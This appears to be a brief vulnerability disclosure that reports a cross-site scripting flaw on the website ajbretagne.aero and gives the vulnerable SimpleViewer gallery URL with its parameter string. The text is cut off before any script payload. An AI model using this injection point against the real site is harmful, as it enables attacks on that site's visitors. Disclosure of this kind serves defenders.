ajbretagne.aero XSS vulnerability

Vulnerable URL: http://www.ajbretagne.aero/sv/svcore/full.html?bg="222222=http://www.ajbretagne.aero/sv/gallery.xml=http://www.ajbretagne.aero/sv/=http://www.ajbretagne.aero/sv/images/=http://www.ajbretagne.aero/sv/thumbs/=true=true=false=true=true=true=fff=fff=true=-1=SimpleViewer Gallery Detail...